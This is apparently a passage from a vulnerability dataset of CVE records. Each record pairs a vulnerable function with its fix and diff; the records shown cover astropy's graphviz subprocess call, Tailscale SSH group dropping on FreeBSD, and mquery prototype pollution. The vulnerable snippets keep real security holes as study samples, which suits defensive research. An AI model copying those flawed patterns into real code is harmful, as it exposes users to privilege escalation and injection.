transform graph, but they will only appear once).\n        savefn : None or str\n            The file name to save this graph to or `None` to not save\n            to a file.\n        savelayout : str\n            The graphviz program to use to layout the graph (see\n            graphviz_ for details) or 'plain' to just save the DOT graph\n            content. Ignored if ``savefn`` is `None`.\n        saveformat : str\n            The graphviz output format. (e.g. the ``-Txxx`` option for\n            the command line program - see graphviz docs for details).\n            Ignored if ``savefn`` is `None`.\n        color_edges : bool\n            Color the edges between two nodes (frames) based on the type of\n            transform. ``FunctionTransform``: red, ``StaticMatrixTransform``:\n            blue, ``DynamicMatrixTransform``: green.\n\n        Returns\n        -------\n        dotgraph : str\n            A string with the DOT format graph.\n        \"\"\"\n        nodes = []\n        # find the node names\n        for a in self._graph:\n            if a not in nodes:\n                nodes.append(a)\n            for b in self._graph[a]:\n                if b not in nodes:\n                    nodes.append(b)\n        for node in addnodes:\n            if node not in nodes:\n                nodes.append(node)\n        nodenames = []\n        invclsaliases = {\n            f: [k for k, v in self._cached_names.items() if v == f]\n            for f in self.frame_set\n        }\n        for n in nodes:\n            if n in invclsaliases:\n                aliases = \"`\\\\n`\".join(invclsaliases[n])\n                nodenames.append(\n                    '{0} [shape=oval label=\"{0}\\\\n`{1}`\"]'.format(n.__name__, aliases)\n                )\n            else:\n                nodenames.append(n.__name__ + \"[ shape=oval ]\")\n\n        edgenames = []\n        # Now the edges\n        for a in self._graph:\n            agraph = self._graph[a]\n            for b in agraph:\n                transform = agraph[b]\n                pri = transform.priority if hasattr(transform, \"priority\") else 1\n                color = trans_to_color[transform.__class__] if color_edges else \"black\"\n                edgenames.append((a.__name__, b.__name__, pri, color))\n\n        # generate simple dot format graph\n        lines = [\"digraph AstropyCoordinateTransformGraph {\"]\n        lines.append(\"graph [rankdir=LR]\")\n        lines.append(\"; \".join(nodenames) + \";\")\n        for enm1, enm2, weights, color in edgenames:\n            labelstr_fmt = \"[ {0} {1} ]\"\n\n            if priorities:\n                priority_part = f'label = \"{weights}\"'\n            else:\n                priority_part = \"\"\n\n            color_part = f'color = \"{color}\"'\n\n            labelstr = labelstr_fmt.format(priority_part, color_part)\n            lines.append(f\"{enm1} -> {enm2}{labelstr};\")\n\n        lines.append(\"\")\n        lines.append(\"overlap=false\")\n        lines.append(\"}\")\n        dotgraph = \"\\n\".join(lines)\n\n        if savefn is not None:\n            if savelayout == \"plain\":\n                with open(savefn, \"w\") as f:\n                    f.write(dotgraph)\n            else:\n                args = [savelayout]\n                if saveformat is not None:\n                    args.append(\"-T\" + saveformat)\n                proc = subprocess.Popen(\n                    args,\n                    stdin=subprocess.PIPE,\n                    stdout=subprocess.PIPE,\n                    stderr=subprocess.PIPE,\n                )\n                stdout, stderr = proc.communicate(dotgraph)\n                if proc.returncode != 0:\n                    raise OSError(\"problem running graphviz: \\n\" + stderr)\n\n                with open(savefn, \"w\") as f:\n                    f.write(stdout)\n\n        return dotgraph"}], "fix_func": [{"id": "fix_py_367_1", "commit": "22057d37b1313f5f5a9b5783df0a091d978dccb5", "file_path": "astropy/coordinates/transformations.py", "start_line": 468, "end_line": 605, "snippet": "    def to_dot_graph(\n        self,\n        priorities=True,\n        addnodes=[],\n        savefn=None,\n        savelayout=\"plain\",\n        saveformat=None,\n        color_edges=True,\n    ):\n        \"\"\"\n        Converts this transform graph to the graphviz_ DOT format.\n\n        Optionally saves it (requires `graphviz`_ be installed and on your path).\n\n        .. _graphviz: http://www.graphviz.org/\n\n        Parameters\n        ----------\n        priorities : bool\n            If `True`, show the priority values for each transform.  Otherwise,\n            the will not be included in the graph.\n        addnodes : sequence of str\n            Additional coordinate systems to add (this can include systems\n            already in the transform graph, but they will only appear once).\n        savefn : None or str\n            The file name to save this graph to or `None` to not save\n            to a file.\n        savelayout : {\"plain\", \"dot\", \"neato\", \"fdp\", \"sfdp\", \"circo\", \"twopi\", \"nop\", \"nop2\", \"osage\", \"patchwork\"}\n            The graphviz program to use to layout the graph (see\n            graphviz_ for details) or 'plain' to just save the DOT graph\n            content. Ignored if ``savefn`` is `None`.\n        saveformat : str\n            The graphviz output format. (e.g. the ``-Txxx`` option for\n            the command line program - see graphviz docs for details).\n            Ignored if ``savefn`` is `None`.\n        color_edges : bool\n            Color the edges between two nodes (frames) based on the type of\n            transform. ``FunctionTransform``: red, ``StaticMatrixTransform``:\n            blue, ``DynamicMatrixTransform``: green.\n\n        Returns\n        -------\n        dotgraph : str\n            A string with the DOT format graph.\n        \"\"\"\n        nodes = []\n        # find the node names\n        for a in self._graph:\n            if a not in nodes:\n                nodes.append(a)\n            for b in self._graph[a]:\n                if b not in nodes:\n                    nodes.append(b)\n        for node in addnodes:\n            if node not in nodes:\n                nodes.append(node)\n        nodenames = []\n        invclsaliases = {\n            f: [k for k, v in self._cached_names.items() if v == f]\n            for f in self.frame_set\n        }\n        for n in nodes:\n            if n in invclsaliases:\n                aliases = \"`\\\\n`\".join(invclsaliases[n])\n                nodenames.append(\n                    '{0} [shape=oval label=\"{0}\\\\n`{1}`\"]'.format(n.__name__, aliases)\n                )\n            else:\n                nodenames.append(n.__name__ + \"[ shape=oval ]\")\n\n        edgenames = []\n        # Now the edges\n        for a in self._graph:\n            agraph = self._graph[a]\n            for b in agraph:\n                transform = agraph[b]\n                pri = transform.priority if hasattr(transform, \"priority\") else 1\n                color = trans_to_color[transform.__class__] if color_edges else \"black\"\n                edgenames.append((a.__name__, b.__name__, pri, color))\n\n        # generate simple dot format graph\n        lines = [\"digraph AstropyCoordinateTransformGraph {\"]\n        lines.append(\"graph [rankdir=LR]\")\n        lines.append(\"; \".join(nodenames) + \";\")\n        for enm1, enm2, weights, color in edgenames:\n            labelstr_fmt = \"[ {0} {1} ]\"\n\n            if priorities:\n                priority_part = f'label = \"{weights}\"'\n            else:\n                priority_part = \"\"\n\n            color_part = f'color = \"{color}\"'\n\n            labelstr = labelstr_fmt.format(priority_part, color_part)\n            lines.append(f\"{enm1} -> {enm2}{labelstr};\")\n\n        lines.append(\"\")\n        lines.append(\"overlap=false\")\n        lines.append(\"}\")\n        dotgraph = \"\\n\".join(lines)\n\n        if savefn is not None:\n            if savelayout == \"plain\":\n                with open(savefn, \"w\") as f:\n                    f.write(dotgraph)\n            # Options from https://graphviz.org/docs/layouts/\n            elif savelayout in (\n                \"dot\",\n                \"neato\",\n                \"fdp\",\n                \"sfdp\",\n                \"circo\",\n                \"twopi\",\n                \"nop\",\n                \"nop2\",\n                \"osage\",\n                \"patchwork\",\n            ):\n                args = [savelayout]\n                if saveformat is not None:\n                    args.append(\"-T\" + saveformat)\n                proc = subprocess.Popen(\n                    args,\n                    stdin=subprocess.PIPE,\n                    stdout=subprocess.PIPE,\n                    stderr=subprocess.PIPE,\n                )\n                stdout, stderr = proc.communicate(dotgraph)\n                if proc.returncode != 0:\n                    raise OSError(\"problem running graphviz: \\n\" + stderr)\n\n                with open(savefn, \"w\") as f:\n                    f.write(stdout)\n            else:\n                raise NotImplementedError(f'savelayout=\"{savelayout}\" is not supported')\n\n        return dotgraph"}], "vul_patch": "--- a/astropy/coordinates/transformations.py\n+++ b/astropy/coordinates/transformations.py\n@@ -25,7 +25,7 @@\n         savefn : None or str\n             The file name to save this graph to or `None` to not save\n             to a file.\n-        savelayout : str\n+        savelayout : {\"plain\", \"dot\", \"neato\", \"fdp\", \"sfdp\", \"circo\", \"twopi\", \"nop\", \"nop2\", \"osage\", \"patchwork\"}\n             The graphviz program to use to layout the graph (see\n             graphviz_ for details) or 'plain' to just save the DOT graph\n             content. Ignored if ``savefn`` is `None`.\n@@ -104,7 +104,19 @@\n             if savelayout == \"plain\":\n                 with open(savefn, \"w\") as f:\n                     f.write(dotgraph)\n-            else:\n+            # Options from https://graphviz.org/docs/layouts/\n+            elif savelayout in (\n+                \"dot\",\n+                \"neato\",\n+                \"fdp\",\n+                \"sfdp\",\n+                \"circo\",\n+                \"twopi\",\n+                \"nop\",\n+                \"nop2\",\n+                \"osage\",\n+                \"patchwork\",\n+            ):\n                 args = [savelayout]\n                 if saveformat is not None:\n                     args.append(\"-T\" + saveformat)\n@@ -120,5 +132,7 @@\n \n                 with open(savefn, \"w\") as f:\n                     f.write(stdout)\n+            else:\n+                raise NotImplementedError(f'savelayout=\"{savelayout}\" is not supported')\n \n         return dotgraph\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28436", "cve_description": "Tailscale is software for using Wireguard and multi-factor authentication (MFA). A vulnerability identified in the implementation of Tailscale SSH starting in version 1.34.0 and prior to prior to 1.38.2 in FreeBSD allows commands to be run with a higher privilege group ID than that specified in Tailscale SSH access rules. A difference in the behavior of the FreeBSD `setgroups` system call from POSIX meant that the Tailscale client running on a FreeBSD-based operating system did not appropriately restrict groups on the host when using Tailscale SSH. When accessing a FreeBSD host over Tailscale SSH, the egid of the tailscaled process was used instead of that of the user specified in Tailscale SSH access rules.\n\nTailscale SSH commands may have been run with a higher privilege group ID than that specified in Tailscale SSH access rules if they met all of the following criteria: the destination node was a FreeBSD device with Tailscale SSH enabled; Tailscale SSH access rules permitted access for non-root users; and a non-interactive SSH session was used.\n\nAffected users should upgrade to version 1.38.2 to remediate the issue.\n\n", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/tailscale/tailscale", "patch_url": ["https://github.com/tailscale/tailscale/commit/d00c046b723dff6e3775d7d35f891403ac21a47d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_268_1", "commit": "aad01c81b1a5b75b4db184d9c2090ccd38ca2f7e", "file_path": "ssh/tailssh/incubator.go", "start_line": 206, "end_line": 305, "snippet": "func beIncubator(args []string) error {\n\tia := parseIncubatorArgs(args)\n\tif ia.isSFTP && ia.isShell {\n\t\treturn fmt.Errorf(\"--sftp and --shell are mutually exclusive\")\n\t}\n\n\tlogf := logger.Discard\n\tif debugIncubator {\n\t\t// We don't own stdout or stderr, so the only place we can log is syslog.\n\t\tif sl, err := syslog.New(syslog.LOG_INFO|syslog.LOG_DAEMON, \"tailscaled-ssh\"); err == nil {\n\t\t\tlogf = log.New(sl, \"\", 0).Printf\n\t\t}\n\t}\n\n\teuid := uint64(os.Geteuid())\n\trunningAsRoot := euid == 0\n\tif runningAsRoot && ia.loginCmdPath != \"\" {\n\t\t// Check if we can exec into the login command instead of trying to\n\t\t// incubate ourselves.\n\t\tif la := ia.loginArgs(); la != nil {\n\t\t\treturn unix.Exec(ia.loginCmdPath, la, os.Environ())\n\t\t}\n\t}\n\n\t// Inform the system that we are about to log someone in.\n\t// We can only do this if we are running as root.\n\t// This is best effort to still allow running on machines where\n\t// we don't support starting sessions, e.g. darwin.\n\tsessionCloser, err := maybeStartLoginSession(logf, ia)\n\tif err == nil && sessionCloser != nil {\n\t\tdefer sessionCloser()\n\t}\n\tvar groupIDs []int\n\tfor _, g := range strings.Split(ia.groups, \",\") {\n\t\tgid, err := strconv.ParseInt(g, 10, 32)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgroupIDs = append(groupIDs, int(gid))\n\t}\n\n\tif err := setGroups(groupIDs); err != nil {\n\t\treturn err\n\t}\n\tif egid := os.Getegid(); egid != ia.gid {\n\t\tif err := syscall.Setgid(int(ia.gid)); err != nil {\n\t\t\tlogf(err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\tif euid != ia.uid {\n\t\t// Switch users if required before starting the desired process.\n\t\tif err := syscall.Setuid(int(ia.uid)); err != nil {\n\t\t\tlogf(err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\tif ia.isSFTP {\n\t\tlogf(\"handling sftp\")\n\n\t\tserver, err := sftp.NewServer(stdRWC{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn server.Serve()\n\t}\n\n\tcmd := exec.Command(ia.cmdName, ia.cmdArgs...)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.Env = os.Environ()\n\n\tif ia.hasTTY {\n\t\t// If we were launched with a tty then we should\n\t\t// mark that as the ctty of the child. However,\n\t\t// as the ctty is being passed from the parent\n\t\t// we set the child to foreground instead which\n\t\t// also passes the ctty.\n\t\t// However, we can not do this if never had a tty to\n\t\t// begin with.\n\t\tcmd.SysProcAttr = &syscall.SysProcAttr{\n\t\t\tForeground: true,\n\t\t}\n\t}\n\terr = cmd.Run()\n\tif ee, ok := err.(*exec.ExitError); ok {\n\t\tps := ee.ProcessState\n\t\tcode := ps.ExitCode()\n\t\tif code < 0 {\n\t\t\t// TODO(bradfitz): do we need to also check the syscall.WaitStatus\n\t\t\t// and make our process look like it also died by signal/same signal\n\t\t\t// as our child process? For now we just do the exit code.\n\t\t\tfmt.Fprintf(os.Stderr, \"[tailscale-ssh: process died: %v]\\n\", ps.String())\n\t\t\tcode = 1 // for now. so we don't exit with negative\n\t\t}\n\t\tos.Exit(code)\n\t}\n\treturn err\n}"}], "fix_func": [{"id": "fix_go_268_1", "commit": "d00c046b723dff6e3775d7d35f891403ac21a47d", "file_path": "ssh/tailssh/incubator.go", "start_line": 206, "end_line": 294, "snippet": "func beIncubator(args []string) error {\n\tia := parseIncubatorArgs(args)\n\tif ia.isSFTP && ia.isShell {\n\t\treturn fmt.Errorf(\"--sftp and --shell are mutually exclusive\")\n\t}\n\n\tlogf := logger.Discard\n\tif debugIncubator {\n\t\t// We don't own stdout or stderr, so the only place we can log is syslog.\n\t\tif sl, err := syslog.New(syslog.LOG_INFO|syslog.LOG_DAEMON, \"tailscaled-ssh\"); err == nil {\n\t\t\tlogf = log.New(sl, \"\", 0).Printf\n\t\t}\n\t}\n\n\teuid := uint64(os.Geteuid())\n\trunningAsRoot := euid == 0\n\tif runningAsRoot && ia.loginCmdPath != \"\" {\n\t\t// Check if we can exec into the login command instead of trying to\n\t\t// incubate ourselves.\n\t\tif la := ia.loginArgs(); la != nil {\n\t\t\treturn unix.Exec(ia.loginCmdPath, la, os.Environ())\n\t\t}\n\t}\n\n\t// Inform the system that we are about to log someone in.\n\t// We can only do this if we are running as root.\n\t// This is best effort to still allow running on machines where\n\t// we don't support starting sessions, e.g. darwin.\n\tsessionCloser, err := maybeStartLoginSession(logf, ia)\n\tif err == nil && sessionCloser != nil {\n\t\tdefer sessionCloser()\n\t}\n\n\tvar groupIDs []int\n\tfor _, g := range strings.Split(ia.groups, \",\") {\n\t\tgid, err := strconv.ParseInt(g, 10, 32)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tgroupIDs = append(groupIDs, int(gid))\n\t}\n\n\tif err := dropPrivileges(logf, int(ia.uid), ia.gid, groupIDs); err != nil {\n\t\treturn err\n\t}\n\n\tif ia.isSFTP {\n\t\tlogf(\"handling sftp\")\n\n\t\tserver, err := sftp.NewServer(stdRWC{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn server.Serve()\n\t}\n\n\tcmd := exec.Command(ia.cmdName, ia.cmdArgs...)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.Env = os.Environ()\n\n\tif ia.hasTTY {\n\t\t// If we were launched with a tty then we should\n\t\t// mark that as the ctty of the child. However,\n\t\t// as the ctty is being passed from the parent\n\t\t// we set the child to foreground instead which\n\t\t// also passes the ctty.\n\t\t// However, we can not do this if never had a tty to\n\t\t// begin with.\n\t\tcmd.SysProcAttr = &syscall.SysProcAttr{\n\t\t\tForeground: true,\n\t\t}\n\t}\n\terr = cmd.Run()\n\tif ee, ok := err.(*exec.ExitError); ok {\n\t\tps := ee.ProcessState\n\t\tcode := ps.ExitCode()\n\t\tif code < 0 {\n\t\t\t// TODO(bradfitz): do we need to also check the syscall.WaitStatus\n\t\t\t// and make our process look like it also died by signal/same signal\n\t\t\t// as our child process? For now we just do the exit code.\n\t\t\tfmt.Fprintf(os.Stderr, \"[tailscale-ssh: process died: %v]\\n\", ps.String())\n\t\t\tcode = 1 // for now. so we don't exit with negative\n\t\t}\n\t\tos.Exit(code)\n\t}\n\treturn err\n}"}, {"id": "fix_go_268_2", "commit": "d00c046b723dff6e3775d7d35f891403ac21a47d", "file_path": "ssh/tailssh/incubator.go", "start_line": 296, "end_line": 396, "snippet": "// TODO(andrew-d): verify that this works in more configurations before\n// enabling by default.\nconst assertDropPrivileges = false\n\n// dropPrivileges contains all the logic for dropping privileges to a different\n// UID, GID, and set of supplementary groups. This function is\n// security-sensitive and ordering-dependent; please be very cautious if/when\n// refactoring.\n//\n// WARNING: if you change this function, you *MUST* run the TestDropPrivileges\n// test in this package as root on at least Linux, FreeBSD and Darwin. This can\n// be done by running:\n//\n//\tgo test -c ./ssh/tailssh/ && sudo ./tailssh.test -test.v -test.run TestDropPrivileges\nfunc dropPrivileges(logf logger.Logf, wantUid, wantGid int, supplementaryGroups []int) error {\n\tfatalf := func(format string, args ...any) {\n\t\tlogf(format, args...)\n\t\tos.Exit(1)\n\t}\n\n\teuid := os.Geteuid()\n\tegid := os.Getegid()\n\n\tif runtime.GOOS == \"darwin\" || runtime.GOOS == \"freebsd\" {\n\t\t// On FreeBSD and Darwin, the first entry returned from the\n\t\t// getgroups(2) syscall is the egid, and changing it with\n\t\t// setgroups(2) changes the egid of the process. This is\n\t\t// technically a violation of the POSIX standard; see the\n\t\t// following article for more detail:\n\t\t//    https://www.usenix.org/system/files/login/articles/325-tsafrir.pdf\n\t\t//\n\t\t// In this case, we add an entry at the beginning of the\n\t\t// groupIDs list containing the expected gid if it's not\n\t\t// already there, which modifies the egid and additional groups\n\t\t// as one unit.\n\t\tif len(supplementaryGroups) == 0 || supplementaryGroups[0] != wantGid {\n\t\t\tsupplementaryGroups = append([]int{wantGid}, supplementaryGroups...)\n\t\t}\n\t}\n\n\tif err := setGroups(supplementaryGroups); err != nil {\n\t\treturn err\n\t}\n\tif egid != wantGid {\n\t\t// On FreeBSD and Darwin, we may have already called the\n\t\t// equivalent of setegid(wantGid) via the call to setGroups,\n\t\t// above. However, per the manpage, setgid(getegid()) is an\n\t\t// allowed operation regardless of privilege level.\n\t\t//\n\t\t// FreeBSD:\n\t\t//\tThe setgid() system call is permitted if the specified ID\n\t\t//\tis equal to the real group ID or the effective group ID\n\t\t//\tof the process, or if the effective user ID is that of\n\t\t//\tthe super user.\n\t\t//\n\t\t// Darwin:\n\t\t//\tThe setgid() function is permitted if the effective\n\t\t//\tuser ID is that of the super user, or if the specified\n\t\t//\tgroup ID is the same as the effective group ID.  If\n\t\t//\tnot, but the specified group ID is the same as the real\n\t\t//\tgroup ID, setgid() will set the effective group ID to\n\t\t//\tthe real group ID.\n\t\tif err := syscall.Setgid(wantGid); err != nil {\n\t\t\tfatalf(\"Setgid(%d): %v\", wantGid, err)\n\t\t}\n\t}\n\tif euid != wantUid {\n\t\t// Switch users if required before starting the desired process.\n\t\tif err := syscall.Setuid(wantUid); err != nil {\n\t\t\tfatalf(\"Setuid(%d): %v\", wantUid, err)\n\t\t}\n\t}\n\n\t// If we changed either the UID or GID, defensively assert that we\n\t// cannot reset the it back to our original values, and that the\n\t// current egid/euid are the expected values after we change\n\t// everything; if not, we exit the process.\n\tif assertDropPrivileges {\n\t\tif egid != wantGid {\n\t\t\tif err := syscall.Setegid(egid); err == nil {\n\t\t\t\tfatalf(\"unexpectedly able to set egid back to %d\", egid)\n\t\t\t}\n\t\t}\n\t\tif euid != wantUid {\n\t\t\tif err := syscall.Seteuid(euid); err == nil {\n\t\t\t\tfatalf(\"unexpectedly able to set euid back to %d\", euid)\n\t\t\t}\n\t\t}\n\n\t\tif got := os.Getegid(); got != wantGid {\n\t\t\tfatalf(\"got egid=%d, want %d\", got, wantGid)\n\t\t}\n\t\tif got := os.Geteuid(); got != wantUid {\n\t\t\tfatalf(\"got euid=%d, want %d\", got, wantUid)\n\t\t}\n\n\t\t// TODO(andrew-d): assert that our supplementary groups are correct\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/ssh/tailssh/incubator.go\n+++ b/ssh/tailssh/incubator.go\n@@ -30,6 +30,7 @@\n \tif err == nil && sessionCloser != nil {\n \t\tdefer sessionCloser()\n \t}\n+\n \tvar groupIDs []int\n \tfor _, g := range strings.Split(ia.groups, \",\") {\n \t\tgid, err := strconv.ParseInt(g, 10, 32)\n@@ -39,22 +40,10 @@\n \t\tgroupIDs = append(groupIDs, int(gid))\n \t}\n \n-\tif err := setGroups(groupIDs); err != nil {\n+\tif err := dropPrivileges(logf, int(ia.uid), ia.gid, groupIDs); err != nil {\n \t\treturn err\n \t}\n-\tif egid := os.Getegid(); egid != ia.gid {\n-\t\tif err := syscall.Setgid(int(ia.gid)); err != nil {\n-\t\t\tlogf(err.Error())\n-\t\t\tos.Exit(1)\n-\t\t}\n-\t}\n-\tif euid != ia.uid {\n-\t\t// Switch users if required before starting the desired process.\n-\t\tif err := syscall.Setuid(int(ia.uid)); err != nil {\n-\t\t\tlogf(err.Error())\n-\t\t\tos.Exit(1)\n-\t\t}\n-\t}\n+\n \tif ia.isSFTP {\n \t\tlogf(\"handling sftp\")\n \n\n--- /dev/null\n+++ b/ssh/tailssh/incubator.go\n@@ -0,0 +1,101 @@\n+// TODO(andrew-d): verify that this works in more configurations before\n+// enabling by default.\n+const assertDropPrivileges = false\n+\n+// dropPrivileges contains all the logic for dropping privileges to a different\n+// UID, GID, and set of supplementary groups. This function is\n+// security-sensitive and ordering-dependent; please be very cautious if/when\n+// refactoring.\n+//\n+// WARNING: if you change this function, you *MUST* run the TestDropPrivileges\n+// test in this package as root on at least Linux, FreeBSD and Darwin. This can\n+// be done by running:\n+//\n+//\tgo test -c ./ssh/tailssh/ && sudo ./tailssh.test -test.v -test.run TestDropPrivileges\n+func dropPrivileges(logf logger.Logf, wantUid, wantGid int, supplementaryGroups []int) error {\n+\tfatalf := func(format string, args ...any) {\n+\t\tlogf(format, args...)\n+\t\tos.Exit(1)\n+\t}\n+\n+\teuid := os.Geteuid()\n+\tegid := os.Getegid()\n+\n+\tif runtime.GOOS == \"darwin\" || runtime.GOOS == \"freebsd\" {\n+\t\t// On FreeBSD and Darwin, the first entry returned from the\n+\t\t// getgroups(2) syscall is the egid, and changing it with\n+\t\t// setgroups(2) changes the egid of the process. This is\n+\t\t// technically a violation of the POSIX standard; see the\n+\t\t// following article for more detail:\n+\t\t//    https://www.usenix.org/system/files/login/articles/325-tsafrir.pdf\n+\t\t//\n+\t\t// In this case, we add an entry at the beginning of the\n+\t\t// groupIDs list containing the expected gid if it's not\n+\t\t// already there, which modifies the egid and additional groups\n+\t\t// as one unit.\n+\t\tif len(supplementaryGroups) == 0 || supplementaryGroups[0] != wantGid {\n+\t\t\tsupplementaryGroups = append([]int{wantGid}, supplementaryGroups...)\n+\t\t}\n+\t}\n+\n+\tif err := setGroups(supplementaryGroups); err != nil {\n+\t\treturn err\n+\t}\n+\tif egid != wantGid {\n+\t\t// On FreeBSD and Darwin, we may have already called the\n+\t\t// equivalent of setegid(wantGid) via the call to setGroups,\n+\t\t// above. However, per the manpage, setgid(getegid()) is an\n+\t\t// allowed operation regardless of privilege level.\n+\t\t//\n+\t\t// FreeBSD:\n+\t\t//\tThe setgid() system call is permitted if the specified ID\n+\t\t//\tis equal to the real group ID or the effective group ID\n+\t\t//\tof the process, or if the effective user ID is that of\n+\t\t//\tthe super user.\n+\t\t//\n+\t\t// Darwin:\n+\t\t//\tThe setgid() function is permitted if the effective\n+\t\t//\tuser ID is that of the super user, or if the specified\n+\t\t//\tgroup ID is the same as the effective group ID.  If\n+\t\t//\tnot, but the specified group ID is the same as the real\n+\t\t//\tgroup ID, setgid() will set the effective group ID to\n+\t\t//\tthe real group ID.\n+\t\tif err := syscall.Setgid(wantGid); err != nil {\n+\t\t\tfatalf(\"Setgid(%d): %v\", wantGid, err)\n+\t\t}\n+\t}\n+\tif euid != wantUid {\n+\t\t// Switch users if required before starting the desired process.\n+\t\tif err := syscall.Setuid(wantUid); err != nil {\n+\t\t\tfatalf(\"Setuid(%d): %v\", wantUid, err)\n+\t\t}\n+\t}\n+\n+\t// If we changed either the UID or GID, defensively assert that we\n+\t// cannot reset the it back to our original values, and that the\n+\t// current egid/euid are the expected values after we change\n+\t// everything; if not, we exit the process.\n+\tif assertDropPrivileges {\n+\t\tif egid != wantGid {\n+\t\t\tif err := syscall.Setegid(egid); err == nil {\n+\t\t\t\tfatalf(\"unexpectedly able to set egid back to %d\", egid)\n+\t\t\t}\n+\t\t}\n+\t\tif euid != wantUid {\n+\t\t\tif err := syscall.Seteuid(euid); err == nil {\n+\t\t\t\tfatalf(\"unexpectedly able to set euid back to %d\", euid)\n+\t\t\t}\n+\t\t}\n+\n+\t\tif got := os.Getegid(); got != wantGid {\n+\t\t\tfatalf(\"got egid=%d, want %d\", got, wantGid)\n+\t\t}\n+\t\tif got := os.Geteuid(); got != wantUid {\n+\t\t\tfatalf(\"got euid=%d, want %d\", got, wantUid)\n+\t\t}\n+\n+\t\t// TODO(andrew-d): assert that our supplementary groups are correct\n+\t}\n+\n+\treturn nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-35149", "cve_description": "lib/utils.js in mquery before 3.2.3 allows a pollution attack because a special property (e.g., __proto__) can be copied during a merge or clone operation.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/aheckmann/mquery", "patch_url": ["https://github.com/aheckmann/mquery/commit/792e69fd0a7281a0300be5cade5a6d7c1d468ad4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_150_1", "commit": "2268a48", "file_path": "lib/utils.js", "start_line": 64, "end_line": 83, "snippet": "exports.cloneObject = function cloneObject(obj, options) {\n  var minimize = options && options.minimize;\n  var ret = {};\n  var hasKeys;\n  var val;\n  var k;\n\n  for (k in obj) {\n    val = clone(obj[k], options);\n\n    if (!minimize || ('undefined' !== typeof val)) {\n      hasKeys || (hasKeys = true);\n      ret[k] = val;\n    }\n  }\n\n  return minimize\n    ? hasKeys && ret\n    : ret;\n};"}, {"id": "vul_js_150_2", "commit": "2268a48", "file_path": "lib/utils.js", "start_line": 129, "end_line": 146, "snippet": "exports.merge = function merge(to, from) {\n  var keys = Object.keys(from),\n      i = keys.length,\n      key;\n\n  while (i--) {\n    key = keys[i];\n    if ('undefined' === typeof to[key]) {\n      to[key] = from[key];\n    } else {\n      if (exports.isObject(from[key])) {\n        merge(to[key], from[key]);\n      } else {\n        to[key] = from[key];\n      }\n    }\n  }\n};"}], "fix_func": [{"id": "fix_js_150_1", "commit": "792e69f", "file_path": "lib/utils.js", "start_line": 10, "end_line": 10, "snippet": "var specialProperties = ['__proto__', 'constructor', 'prototype'];"}, {"id": "fix_js_150_2", "commit": "792e69f", "file_path": "lib/utils.js", "start_line": 66, "end_line": 91, "snippet": "exports.cloneObject = function cloneObject(obj, options) {\n  var minimize = options && options.minimize;\n  var ret = {};\n  var hasKeys;\n  var val;\n  var k;\n\n  for (k in obj) {\n    // Not technically prototype pollution because this wouldn't merge properties\n    // onto `Object.prototype`, but avoid properties like __proto__ as a precaution.\n    if (specialProperties.indexOf(k) !== -1) {\n      continue;\n    }\n\n    val = clone(obj[k], options);\n\n    if (!minimize || ('undefined' !== typeof val)) {\n      hasKeys || (hasKeys = true);\n      ret[k] = val;\n    }\n  }\n\n  return minimize\n    ? hasKeys && ret\n    : ret;\n};"}, {"id": "fix_js_150_3", "commit": "792e69f", "file_path": "lib/utils.js", "start_line": 137, "end_line": 157, "snippet": "exports.merge = function merge(to, from) {\n  var keys = Object.keys(from),\n      i = keys.length,\n      key;\n\n  while (i--) {\n    key = keys[i];\n    if (specialProperties.indexOf(key) !== -1) {\n      continue;\n    }\n    if ('undefined' === typeof to[key]) {\n      to[key] = from[key];\n    } else {\n      if (exports.isObject(from[key])) {\n        merge(to[key], from[key]);\n      } else {\n        to[key] = from[key];\n      }\n    }\n  }\n};"}], "vul_patch": "--- a/lib/utils.js\n+++ b/lib/utils.js\n@@ -1,20 +1 @@\n-exports.cloneObject = function cloneObject(obj, options) {\n-  var minimize = options && options.minimize;\n-  var ret = {};\n-  var hasKeys;\n-  var val;\n-  var k;\n-\n-  for (k in obj) {\n-    val = clone(obj[k], options);\n-\n-    if (!minimize || ('undefined' !== typeof val)) {\n-      hasKeys || (hasKeys = true);\n-      ret[k] = val;\n-    }\n-  }\n-\n-  return minimize\n-    ? hasKeys && ret\n-    : ret;\n-};\n+var specialProperties = ['__proto__', 'constructor', 'prototype'];\n\n--- a/lib/utils.js\n+++ b/lib/utils.js\n@@ -1,18 +1,26 @@\n-exports.merge = function merge(to, from) {\n-  var keys = Object.keys(from),\n-      i = keys.length,\n-      key;\n+exports.cloneObject = function cloneObject(obj, options) {\n+  var minimize = options && 